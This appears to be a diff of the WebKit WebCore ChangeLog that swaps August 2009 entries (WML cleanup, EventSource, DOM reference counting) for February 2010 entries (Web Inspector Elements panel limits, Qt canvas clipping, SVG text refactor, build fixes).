-        Remove superflous "Event* evt" parameter from executeTask() methods. It's a leftover from the initial WML merge.
-
-        * wml/WMLAnchorElement.cpp:
-        (WebCore::WMLAnchorElement::defaultEventHandler):
-        * wml/WMLDoElement.cpp:
-        (WebCore::WMLDoElement::defaultEventHandler):
-        * wml/WMLGoElement.cpp:
-        (WebCore::WMLGoElement::executeTask):
-        * wml/WMLGoElement.h:
-        * wml/WMLIntrinsicEventHandler.cpp:
-        (WebCore::WMLIntrinsicEventHandler::triggerIntrinsicEvent):
-        * wml/WMLPrevElement.cpp:
-        (WebCore::WMLPrevElement::executeTask):
-        * wml/WMLPrevElement.h:
-        * wml/WMLRefreshElement.cpp:
-        (WebCore::WMLRefreshElement::executeTask):
-        * wml/WMLRefreshElement.h:
-        * wml/WMLTaskElement.h:
-
-2009-08-16  Pavel Feldman  <pfeldman@chromium.org>
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JavaScriptProfile.cpp: Added.
+        (WebCore::profileCache):
+        (WebCore::getTitleCallback):
+        (WebCore::getHeadCallback):
+        (WebCore::getUniqueIdCallback):
+        (WebCore::focus):
+        (WebCore::exclude):
+        (WebCore::restoreAll):
+        (WebCore::finalize):
+        (WebCore::ProfileClass):
+        (WebCore::toJS):
+        * bindings/js/JavaScriptProfile.h: Added.
+        * bindings/js/JavaScriptProfileNode.cpp: Added.
+        (WebCore::profileNodeCache):
+        (WebCore::getFunctionName):
+        (WebCore::getURL):
+        (WebCore::getLineNumber):
+        (WebCore::getTotalTime):
+        (WebCore::getSelfTime):
+        (WebCore::getNumberOfCalls):
+        (WebCore::getChildren):
+        (WebCore::getVisible):
+        (WebCore::getCallUID):
+        (WebCore::finalize):
+        (WebCore::ProfileNodeClass):
+        (WebCore::toJS):
+        * bindings/js/JavaScriptProfileNode.h: Added.
+        * inspector/JavaScriptProfile.cpp: Removed.
+        * inspector/JavaScriptProfile.h: Removed.
+        * inspector/JavaScriptProfileNode.cpp: Removed.
+        * inspector/JavaScriptProfileNode.h: Removed.
 
-        Reviewed by Timothy Hatcher.
+2010-02-16  Alexander Pavlov  <apavlov@chromium.org>
 
-        WebInspector: A handful of DOMAgent-related fixes and cleanups.
+        Reviewed by Pavel Feldman.
 
-        - renamed elementId to nodeId in operations on nodes.
-        - added load listeners to frame owners in InspectorDOMAgent.
-        - removed InspectorController::inspectedWindowScriptObjectCleared event.
-        - preserved isViaInspector flag for 'via inspector' marker to survive styles update.
-        - removed contentDocument-related logic from ElementsPanel since it is handled in
-            the InspectorDOMAgent.
-        - removed DOM listeners unregistration and corresponding events from InspectorController.
-        - made this.styles 'private' in ElementsPanel.
-        - added TODO for the handleCopy processing.
+        Web Inspector: Elements Panel: Limit the number of initially loaded element children
+        https://bugs.webkit.org/show_bug.cgi?id=34421
 
-        https://bugs.webkit.org/show_bug.cgi?id=28356
+        Test: inspector/elements-panel-limited-children.html
 
-        * WebCore.order:
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::getChildNodes):
-        (WebCore::InspectorBackend::setTextNodeValue):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        * inspector/InspectorController.h:
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::startListening):
-        (WebCore::InspectorDOMAgent::stopListening):
-        (WebCore::InspectorDOMAgent::handleEvent):
-        (WebCore::InspectorDOMAgent::pushChildNodesToFrontend):
-        (WebCore::InspectorDOMAgent::getChildNodes):
-        (WebCore::InspectorDOMAgent::pushNodePathToFrontend):
-        (WebCore::InspectorDOMAgent::setTextNodeValue):
-        (WebCore::InspectorDOMAgent::buildObjectForNode):
-        (WebCore::InspectorDOMAgent::buildArrayForContainerChildren):
-        (WebCore::InspectorDOMAgent::innerParentNode):
-        * inspector/InspectorDOMAgent.h:
-        * inspector/InspectorFrontend.cpp:
-        * inspector/InspectorFrontend.h:
+        * English.lproj/localizedStrings.js:
         * inspector/front-end/DOMAgent.js:
-        (WebInspector.DOMDocument.prototype.addEventListener):
-        (WebInspector.DOMDocument.prototype.removeEventListener):
-        (WebInspector.DOMDocument.prototype._fireDomEvent):
-        (WebInspector.DOMAgent.prototype.getChildNodesAsync.mycallback):
-        (WebInspector.DOMAgent.prototype.getChildNodesAsync):
-        (WebInspector.DOMAgent.prototype._setChildNodes):
-        (WebInspector.CSSStyleDeclaration.parseRule):
-        (WebInspector.childNodeInserted):
-        (WebInspector.childNodeRemoved):
+        (WebInspector.DOMNode.prototype._insertChild):
         * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel):
-        (WebInspector.ElementsPanel.prototype.reset):
-        (WebInspector.ElementsPanel.prototype.addStyleChange):
-        (WebInspector.ElementsPanel.prototype.removeStyleChange):
-        (WebInspector.ElementsPanel.prototype._updateModifiedNodes):
-        (WebInspector.ElementsPanel.prototype.updateBreadcrumb):
-        (WebInspector.ElementsPanel.prototype.handleCopyEvent):
+        (WebInspector.ElementsPanel.prototype.updateModifiedNodes):
         * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline.prototype.set rootDOMNode):
-        (WebInspector.ElementsTreeOutline.prototype.findTreeElement):
+        (WebInspector.ElementsTreeOutline.prototype.createTreeElementFor):
+        (WebInspector.ElementsTreeOutline.prototype.revealAndSelectNode):
         (WebInspector.ElementsTreeElement):
+        (WebInspector.ElementsTreeElement.prototype.get expandedChildrenLimit):
+        (WebInspector.ElementsTreeElement.prototype.set expandedChildrenLimit):
+        (WebInspector.ElementsTreeElement.prototype.get expandedChildCount):
+        (WebInspector.ElementsTreeElement.prototype.showChild):
+        (WebInspector.ElementsTreeElement.prototype.insertChildElement):
+        (WebInspector.ElementsTreeElement.prototype.moveChild):
         (WebInspector.ElementsTreeElement.prototype._updateChildren.updateChildrenOfNode):
         (WebInspector.ElementsTreeElement.prototype._updateChildren):
-        (WebInspector.ElementsTreeElement.prototype.onexpand):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.addStyleSelector):
-        (InjectedScript._serializeRule):
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertiesSection):
-        * inspector/front-end/inspector.js:
-        (WebInspector.set hoveredDOMNode):
-        * inspector/front-end/treeoutline.js:
-        (TreeOutline.prototype.findTreeElement):
-        * inspector/front-end/utilities.js:
-        (Node.prototype.enclosingNodeOrSelfWithNodeNameInArray):
-        (Node.prototype.enclosingNodeOrSelfWithClass):
-        (isAncestorNode):
-        (firstCommonNodeAncestor):
-        (traverseNextNode):
-        (traversePreviousNode):
+        (WebInspector.ElementsTreeElement.prototype.adjustCollapsedRange):
+        (WebInspector.ElementsTreeElement.prototype.handleLoadAllChildren):
         ():
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::dispatchWindowObjectAvailable):
-        * page/android/InspectorControllerAndroid.cpp:
-
-2009-08-15  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt
-
-        Optimize updateFillImages() to not add/remove clients every time
-        https://bugs.webkit.org/show_bug.cgi?id=28334
-
-        Optimize the case where old and new just have a single layer pointing to the same (or no)
-        image.
-
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::updateFillImages):
-
-2009-08-15  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        Implement animations of multiple text-shadows and -webkit-box-shadows.
-        https://bugs.webkit.org/show_bug.cgi?id=28266
-        
-        Test: transitions/multiple-shadow-transitions.html
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::PropertyWrapperShadow::equals):
-        (WebCore::PropertyWrapperShadow::blend):
-
-2009-08-15  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        Make transitions work for position and size of multiple backgrounds and masks.
-        https://bugs.webkit.org/show_bug.cgi?id=28266
-        
-        Make background-position, background-size, -webkit-mask-position and -webkit-mask-size
-        properties animatable with multiple backgrounds, rather than just animating the first one.
-
-        Tests: transitions/multiple-background-size-transitions.html
-               transitions/multiple-background-transitions.html
-               transitions/multiple-mask-transitions.html
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::FillLayerPropertyWrapperBase::FillLayerPropertyWrapperBase):
-        (WebCore::FillLayerPropertyWrapperBase::~FillLayerPropertyWrapperBase):
-        (WebCore::FillLayerPropertyWrapperGetter::FillLayerPropertyWrapperGetter):
-        (WebCore::FillLayerPropertyWrapperGetter::equals):
-        (WebCore::FillLayerPropertyWrapper::FillLayerPropertyWrapper):
-        (WebCore::FillLayerPropertyWrapper::blend):
-        (WebCore::FillLayersPropertyWrapper::FillLayersPropertyWrapper):
-        (WebCore::FillLayersPropertyWrapper::equals):
-        (WebCore::FillLayersPropertyWrapper::blend):
-        (WebCore::ensurePropertyMap):
-        * rendering/style/FillLayer.h:
-        (WebCore::FillLayer::setXPosition):
-        (WebCore::FillLayer::setYPosition):
-        (WebCore::FillLayer::setSize):
-
-2009-08-15  George Staikos  <george.staikos@torchmobile.com>
-
-        Reviewed by Jan Alonzo.
-
-        Don't crash in fieldset code when WML is enabled.
-        https://bugs.webkit.org/show_bug.cgi?id=28012
-
-        Test: fast/wml/html-fieldset-crash.html
-
-        * rendering/RenderFieldset.cpp:
-        (WebCore::RenderFieldset::findLegend): ++brackets
-
-2009-08-15  Sam Weinig  <sam@webkit.org>
-
-        Try and enable EventSource on Windows.
-
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.vcproj/build-generated-files.sh:
-
-2009-08-15  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Dan Bernstein.
-
-        Setting attribute event listeners to the body does not set them on the window
-        https://bugs.webkit.org/show_bug.cgi?id=28343
-
-        Tests: fast/dom/Window/HTMLBodyElement-window-eventListener-attributes.html
-               fast/dom/Window/HTMLFrameSetElement-window-eventListener-attributes.html
-
-        * html/HTMLBodyElement.cpp:
-        (WebCore::HTMLBodyElement::setOnblur): Use setWindowAttributeEventListener instead of setAttributeEventListener.
-        (WebCore::HTMLBodyElement::setOnerror): Ditto.
-        (WebCore::HTMLBodyElement::setOnfocus): Ditto.
-        (WebCore::HTMLBodyElement::setOnload): Ditto.
-        (WebCore::HTMLBodyElement::setOnbeforeunload): Ditto.
-        (WebCore::HTMLBodyElement::setOnmessage): Ditto.
-        (WebCore::HTMLBodyElement::setOnoffline): Ditto.
-        (WebCore::HTMLBodyElement::setOnonline): Ditto.
-        (WebCore::HTMLBodyElement::setOnresize): Ditto.
-        (WebCore::HTMLBodyElement::setOnstorage): Ditto.
-        (WebCore::HTMLBodyElement::setOnunload): Ditto.
-        * html/HTMLFrameSetElement.cpp:
-        (WebCore::HTMLFrameSetElement::setOnblur): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnerror): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnfocus): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnload): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnbeforeunload): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnmessage): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnoffline): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnonline): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnresize): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnstorage): Ditto.
-        (WebCore::HTMLFrameSetElement::setOnunload): Ditto.
-
-2009-08-15  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Dan Bernstein.
-
-        Fix up some IDL comments.
-
-        * html/HTMLBodyElement.idl:
-        * html/HTMLFrameSetElement.idl:
-
-2009-08-15  Adam Bergkvist  <adam.bergkvist@ericsson.com>
+        * inspector/front-end/inspector.css:
 
-        Reviewed by Sam Weinig.
+2010-02-16  Ismail Donmez  <ismail@namtrac.org>
 
-        Added implementation of the EventSource object that enables
-        server-sent events from HTML5.
-        http://dev.w3.org/html5/eventsource/
-        https://bugs.webkit.org/show_bug.cgi?id=14997
+        Reviewed by Pavel Feldman.
 
-        Tests: fast/eventsource/eventsource-attribute-listeners.html
-               fast/eventsource/eventsource-constructor.html
-               http/tests/eventsource/eventsource-bad-mime-type.html
-               http/tests/eventsource/eventsource-parse-event-stream.html
-               http/tests/eventsource/eventsource-reconnect.html
-               http/tests/eventsource/eventsource-status-code-states.html
-               http/tests/eventsource/workers/eventsource-simple.html
+        Fix compilation with inspector disabled.
+        https://bugs.webkit.org/show_bug.cgi?id=32724
 
-        * Configurations/FeatureDefines.xcconfig:
-        * DerivedSources.cpp:
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::eventSource):
-        * bindings/js/JSEventSourceConstructor.cpp: Added.
-        (WebCore::):
-        (WebCore::JSEventSourceConstructor::JSEventSourceConstructor):
-        (WebCore::constructEventSource):
-        (WebCore::JSEventSourceConstructor::getConstructData):
-        * bindings/js/JSEventSourceConstructor.h: Added.
-        (WebCore::JSEventSourceConstructor::classInfo):
-        * bindings/js/JSEventSourceCustom.cpp: Added.
-        (WebCore::JSEventSource::markChildren):
-        (WebCore::JSEventSource::addEventListener):
-        (WebCore::JSEventSource::removeEventListener):
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        (WebCore::toEventTarget):
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::eventSource):
-        * dom/EventNames.h:
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::toEventSource):
-        * dom/EventTarget.h:
-        * page/DOMWindow.idl:
-        * page/EventSource.cpp: Added.
-        (WebCore::EventSource::EventSource):
-        (WebCore::EventSource::~EventSource):
-        (WebCore::EventSource::connect):
-        (WebCore::EventSource::endRequest):
-        (WebCore::EventSource::scheduleReconnect):
-        (WebCore::EventSource::reconnectTimerFired):
-        (WebCore::EventSource::url):
-        (WebCore::EventSource::readyState):
-        (WebCore::EventSource::close):
-        (WebCore::EventSource::scriptExecutionContext):
-        (WebCore::EventSource::addEventListener):
-        (WebCore::EventSource::removeEventListener):
-        (WebCore::EventSource::dispatchEvent):
-        (WebCore::EventSource::didReceiveResponse):
-        (WebCore::EventSource::didReceiveData):
-        (WebCore::EventSource::didFinishLoading):
-        (WebCore::EventSource::didFail):
-        (WebCore::EventSource::didFailRedirectCheck):
-        (WebCore::EventSource::parseEventStream):
-        (WebCore::EventSource::parseEventStreamLine):
-        (WebCore::EventSource::dispatchGenericEvent):
-        (WebCore::EventSource::dispatchMessageEvent):
-        (WebCore::EventSource::stop):
-        * page/EventSource.h: Added.
-        (WebCore::EventSource::create):
-        (WebCore::EventSource::):
-        (WebCore::EventSource::setOnopen):
-        (WebCore::EventSource::onopen):
-        (WebCore::EventSource::setOnmessage):
-        (WebCore::EventSource::onmessage):
-        (WebCore::EventSource::setOnerror):
-        (WebCore::EventSource::onerror):
-        (WebCore::EventSource::toEventSource):
-        (WebCore::EventSource::eventListeners):
-        (WebCore::EventSource::refEventTarget):
-        (WebCore::EventSource::derefEventTarget):
-        * page/EventSource.idl: Added.
-        * workers/WorkerContext.idl:
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::inspectorTimelineAgent):
 
-2009-08-15  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-16  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebInspector: Minor DOMAgent bugfixes.
+        Web Inspector: turn off line wrapping in source view.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28177
+        https://bugs.webkit.org/show_bug.cgi?id=34935
 
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::nodeForId):
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.DOMAgent):
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer.prototype.markAndRevealRange):
+        (WebInspector.TextViewer.prototype._paintLine):
+        * inspector/front-end/textViewer.css:
+        * inspector/front-end/utilities.js:
 
-2009-08-15  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-16  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebInspector: Evaluating objects while on a breakpoint dumps string
-        representation instead of live object. 
-
-        https://bugs.webkit.org/show_bug.cgi?id=28280
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.completions.this._evalInInspectedWindow):
-        (WebInspector.ConsoleView.prototype.completions):
-        (WebInspector.ConsoleView.prototype._reportCompletions):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame.delayedEvaluation):
-        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
-        (WebInspector.ScriptsPanel.prototype.variablesInSelectedCallFrame):
-
-2009-08-15  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [Haiku] Adding two new files to WebCore/platform/haiku:
-        LocalizedStringsHaiku.cpp and LoggingHaiku.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=28129
-
-        * platform/haiku/LocalizedStringsHaiku.cpp: Added.
-        (WebCore::submitButtonDefaultLabel):
-        (WebCore::inputElementAltText):
-        (WebCore::resetButtonDefaultLabel):
-        (WebCore::defaultLanguage):
-        (WebCore::searchableIndexIntroduction):
-        (WebCore::fileButtonChooseFileLabel):
-        (WebCore::fileButtonNoFileSelectedLabel):
-        (WebCore::contextMenuItemTagOpenLinkInNewWindow):
-        (WebCore::contextMenuItemTagDownloadLinkToDisk):
-        (WebCore::contextMenuItemTagCopyLinkToClipboard):
-        (WebCore::contextMenuItemTagOpenImageInNewWindow):
-        (WebCore::contextMenuItemTagDownloadImageToDisk):
-        (WebCore::contextMenuItemTagCopyImageToClipboard):
-        (WebCore::contextMenuItemTagOpenFrameInNewWindow):
-        (WebCore::contextMenuItemTagCopy):
-        (WebCore::contextMenuItemTagGoBack):
-        (WebCore::contextMenuItemTagGoForward):
-        (WebCore::contextMenuItemTagStop):
-        (WebCore::contextMenuItemTagReload):
-        (WebCore::contextMenuItemTagCut):
-        (WebCore::contextMenuItemTagPaste):
-        (WebCore::contextMenuItemTagNoGuessesFound):
-        (WebCore::contextMenuItemTagIgnoreSpelling):
-        (WebCore::contextMenuItemTagLearnSpelling):
-        (WebCore::contextMenuItemTagSearchWeb):
-        (WebCore::contextMenuItemTagLookUpInDictionary):
-        (WebCore::contextMenuItemTagOpenLink):
-        (WebCore::contextMenuItemTagIgnoreGrammar):
-        (WebCore::contextMenuItemTagSpellingMenu):
-        (WebCore::contextMenuItemTagShowSpellingPanel):
-        (WebCore::contextMenuItemTagCheckSpelling):
-        (WebCore::contextMenuItemTagCheckSpellingWhileTyping):
-        (WebCore::contextMenuItemTagCheckGrammarWithSpelling):
-        (WebCore::contextMenuItemTagFontMenu):
-        (WebCore::contextMenuItemTagBold):
-        (WebCore::contextMenuItemTagItalic):
-        (WebCore::contextMenuItemTagUnderline):
-        (WebCore::contextMenuItemTagOutline):
-        (WebCore::contextMenuItemTagWritingDirectionMenu):
-        (WebCore::contextMenuItemTagDefaultDirection):
-        (WebCore::contextMenuItemTagLeftToRight):
-        (WebCore::contextMenuItemTagRightToLeft):
-        (WebCore::contextMenuItemTagInspectElement):
-        (WebCore::searchMenuNoRecentSearchesText):
-        (WebCore::searchMenuRecentSearchesText):
-        (WebCore::searchMenuClearRecentSearchesText):
-        (WebCore::unknownFileSizeText):
-        (WebCore::AXWebAreaText):
-        (WebCore::AXLinkText):
-        (WebCore::AXListMarkerText):
-        (WebCore::AXImageMapText):
-        (WebCore::AXHeadingText):
-        (WebCore::imageTitle):
-        (WebCore::contextMenuItemTagTextDirectionMenu):
-        (WebCore::AXButtonActionVerb):
-        (WebCore::AXTextFieldActionVerb):
-        (WebCore::AXRadioButtonActionVerb):
-        (WebCore::AXCheckedCheckBoxActionVerb):
-        (WebCore::AXUncheckedCheckBoxActionVerb):
-        (WebCore::AXLinkActionVerb):
-        (WebCore::AXDefinitionListTermText):
-        (WebCore::AXDefinitionListDefinitionText):
-        * platform/haiku/LoggingHaiku.cpp: Added.
-        (WebCore::InitializeLoggingChannelsIfNecessary):
-
-2009-08-15  Darin Adler  <darin@apple.com>
+        Web Inspector: let search iterate over views in Resources
+        and keep the view in Scripts.
 
-        Fix GTK build.
+        https://bugs.webkit.org/show_bug.cgi?id=34968
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (fallbackObject): Pass 0 for document. Should be OK at least for now.
-
-2009-08-15  Darin Adler  <darin@apple.com>
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel.prototype.jumpToNextSearchResult):
+        (WebInspector.Panel.prototype.jumpToPreviousSearchResult):
+        (WebInspector.Panel.prototype.showSourceLineForURL):
+        (WebInspector.Panel.prototype.searchIteratesOverViews):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.get _resources):
+        (WebInspector.ResourcesPanel.prototype.searchIteratesOverViews):
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView.prototype.showingLastSearchResult):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentKeyDown):
+        (WebInspector.focusSearchField):
 
-        Fix Qt build.
+2010-02-16  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        * dom/XMLTokenizerQt.cpp: Use create functions instead of calling new
-        directly to make CDATASection and Comment nodes.
+        Reviewed by Ariya Hidayat.
 
-2009-08-14  Darin Adler  <darin@apple.com>
+        [Qt] canvas clipping is buggy
+        https://bugs.webkit.org/show_bug.cgi?id=32405
 
-        Reviewed by Sam Weinig.
+        Apparently the bug was in GraphicsContext::roundToDevicePixels, we
+        didn't take unto accounts rotation, so the device pixels were rounded
+        incorrectly. The new formula is a 1:1 copy from GraphicsContextCG so
+        it should be rather safe
 
-        Make DOM classes start with a reference count of 1, like all other RefCounted
-        https://bugs.webkit.org/show_bug.cgi?id=28068
+        Test: http://glimr.rubyforge.org/cake/canvas.html#Polaroids now looks right
 
-        First half, everything except for element classes.
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::roundToDevicePixels): Copy the formula from
+        GraphicsContextCG
 
-        * GNUmakefile.am: Removed DocPtr.h.
-        * WebCore.gypi: Ditto.
-        * WebCore.vcproj/WebCore.vcproj: Ditto.
-        * WebCore.xcodeproj/project.pbxproj: Ditto.
+2010-02-16  Yury Semikhatsky  <yurys@chromium.org>
 
-        * dom/Attr.cpp:
-        (WebCore::Attr::Attr): Added a call to createTextChild here so callers don't
-        have to call it explicitly.
-        (WebCore::Attr::create): Added.
-        (WebCore::Attr::setValue): Changed to take AtomicString.
-        (WebCore::Attr::cloneNode): Use create.
+        Not Reviewed, build fix.
 
-        * dom/Attr.h: Added a create function. Made the constructor private,
-        and a lot of other functions private as well.
+        * platform/graphics/FloatRect.h:
+        (WebCore::FloatRect::center): make conversion from float to int explicit so that compiler
+        doesn't complain about that.
 
-        * dom/Attribute.cpp:
-        (WebCore::Attribute::createAttrIfNeeded): Use Attr::create.
+2010-02-15  Dan Bernstein  <mitz@apple.com>
 
-        * dom/CDATASection.cpp:
-        (WebCore::CDATASection::create): Added.
-        (WebCore::CDATASection::cloneNode): Use create.
-        (WebCore::CDATASection::virtualCreate): Ditto.
+        Reviewed by Simon Fraser.
 
-        * dom/CDATASection.h: Added a create function. Made everything private.
-        Removed unneeded destructor declaration.
+        <rdar://problem/7645609> [webView selectionRect] API is broken for multicolumn layout
 
-        * dom/CharacterData.cpp:
-        (WebCore::CharacterData::CharacterData): Replaced the multiple constructors
-        with a single one that takes ConstructionType.
+        Refine the fix for https://bugs.webkit.org/show_bug.cgi?id=34923 by using the center of
+        a quad’s bounding box, rather than its top left, as the reference point passed to
+        offsetFromContainer(). This ensures that if a sliver off the top of the selection rect is in
+        one column, but most of it is on another column, the single rect we return will be for the
+        second column.
 
-        * dom/CharacterData.h: Made more functions be protected and private.
-        Made m_data be private.
+        * platform/graphics/FloatRect.h:
+        (WebCore::FloatRect::center): Added.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::localToContainerQuad): Use the center instead of the top left.
 
-        * dom/Comment.cpp:
-        (WebCore::Comment::Comment): Got rid of an extra constructor.
-        (WebCore::Comment::create): Added.
-        (WebCore::Comment::cloneNode): Call create.
+2010-02-15  MORITA Hajime  <morrita@gmail.com>
 
-        * dom/Comment.h: Added a create function. Made everything private.
+        Reviewed by Nikolas Zimmermann.
 
-        * dom/ContainerNode.cpp:
-        (WebCore::dispatchChildInsertionEvents): Use RefPtr instead of DocPtr.
-        (WebCore::dispatchChildRemovalEvents): Ditto.
+        SVG text refactor: reduce paint specific callbacks on SVGTextChunkWalker
 
-        * dom/ContainerNode.h: Made the constructor protected and passed
-        ConstructionType instead of an isElement boolean.
+        https://bugs.webkit.org/show_bug.cgi?id=34831
 
-        * dom/DocPtr.h: Removed.
+        No new tests, no change of functionality.
 
-        * dom/Document.cpp:
-        (WebCore::Document::Document): Simplified the code that sets m_document
-        since it's no longer a smart pointer.
-        (WebCore::Document::removedLastRef): Use explicit calls to selfOnlyRef
-        and selfOnlyDeref instead of a DocPtr in here.
-        (WebCore::Document::~Document): Simplified the code that sets m_document
-        since it's no longer a smart pointer.
-        (WebCore::Document::createDocumentFragment): Call create.
-        (WebCore::Document::createTextNode): Ditto.
-        (WebCore::Document::createComment): Ditto.
-        (WebCore::Document::createCDATASection): Ditto.
-        (WebCore::Document::createProcessingInstruction): Ditto.
-        (WebCore::Document::createEntityReference): Ditto.
-        (WebCore::Document::createEditingTextNode): Ditto.
-        (WebCore::Document::importNode): Call Attr::create.
-        (WebCore::Document::createAttributeNS): Ditto.
-
-        * dom/Document.h: Call adoptRef. Made a lot of functions private and
-        protected and sorted them so public functions come first.
-
-        * dom/DocumentFragment.cpp:
-        (WebCore::DocumentFragment::create): Added.
-        (WebCore::DocumentFragment::cloneNode): Call create.
-        * dom/DocumentFragment.h: Added create.
-
-        * dom/DocumentType.cpp:
-        (WebCore::DocumentType::DocumentType): Pass type to Node constructor.
-        (WebCore::DocumentType::cloneNode): Use create.
-        * dom/DocumentType.h:
-        (WebCore::DocumentType::create): Call adoptRef.
-
-        * dom/EditingText.cpp:
-        (WebCore::EditingText::create): Added.
-        * dom/EditingText.h: Added a create function. Made everything private.
+        * rendering/SVGCharacterLayoutInfo.h:
+        (WebCore::SVGTextChunkWalker::SVGTextChunkWalker):
+        Removed setupBackground(), setupFill(), setupFillSelection(),
+        setupStroke(), setupStrokeSelection(), setupForeground()
+        and associated member variables.
+        
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::SVGRootInlineBoxPaintWalker::setupBackground):
+        renamed from chunkSetupBackgroundCallback.
+        (WebCore::SVGRootInlineBoxPaintWalker::setupFill):
+        renamed from chunkSetupFillCallback.
+        (WebCore::SVGRootInlineBoxPaintWalker::setupFillSelection):
+        renamed from chunkSetupFillSelectionCallback.
+        (WebCore::SVGRootInlineBoxPaintWalker::setupStroke):
+        renamed from chunkSetupStrokeCallback.
+        (WebCore::SVGRootInlineBoxPaintWalker::setupStrokeSelection):
+        renamed from chunkSetupStrokeSelectionCallback.
+        (WebCore::SVGRootInlineBoxPaintWalker::setupForeground):
+        renamed from chunkSetupForegroundCallback.
+        (WebCore::SVGRootInlineBoxPaintWalker::paintChunk):
+        renamed from chunkPortionCallback.
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkPortionCallback):
+        extracted from walkTextChunks.
+        (WebCore::SVGRootInlineBox::paint):
+        follow SVGTextChunkWalker change.
+        (WebCore::SVGRootInlineBox::walkTextChunks):
+        moved paint some specific code to SVGRootInlineBoxPaintWalker::chunkPortionCallback().
+        
+2010-02-15  Dan Bernstein  <mitz@apple.com>
+
+        Try to fix the Chromium build.
 
-        * dom/Element.cpp:
-        (WebCore::Element::Element): Pass CreateElementZeroRefCount to preserve
-        the zero reference count behavior for classes derived from Element.
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::convertToPaintingRect):
 
-        * dom/EntityReference.cpp:
-        (WebCore::EntityReference::create): Added.
-        (WebCore::EntityReference::cloneNode): Call create.
-        * dom/EntityReference.h: Added create. Made everything private.
+2010-02-14  Gavin Barraclough  <barraclough@apple.com>
 
-        * dom/Node.cpp:
-        (WebCore::Node::initialRefCount): Added. Inline helper function for
-        the constructor.
-        (WebCore::Node::isContainer): Ditto.
-        (WebCore::Node::isElement): Ditto.
-        (WebCore::Node::isText): Ditto.
-        (WebCore::Node::Node): Changed to take a construction type argument.
-        Since m_document is now a normal pointer, added a call to selfOnlyRef.
-        (WebCore::Node::~Node): Ditto, but selfOnlyDeref.
-        (WebCore::Node::setDocument): Added selfOnlyRef/Deref calls.
-        (WebCore::Node::appendTextContent): Use the data function instead of
-        calling nodeValue functions, which do the same thing in a roundabout way.
-
-        * dom/Node.h: Made the constructor protected and replaced the multiple
-        arguments iwth a single ConstructionType argument. Sorted the public
-        things first.
-
-        * dom/Notation.h: Made most things private.
-        * dom/Notation.cpp: Removed extra constructor.
+        Reviewed by Darin Adler.
 
-        * dom/ProcessingInstruction.cpp:
-        (WebCore::ProcessingInstruction::create): Added.
-        (WebCore::ProcessingInstruction::cloneNode): Call create.
-        * dom/ProcessingInstruction.h: Added create function. Made many other
-        members private.
-
-        * dom/Range.cpp:
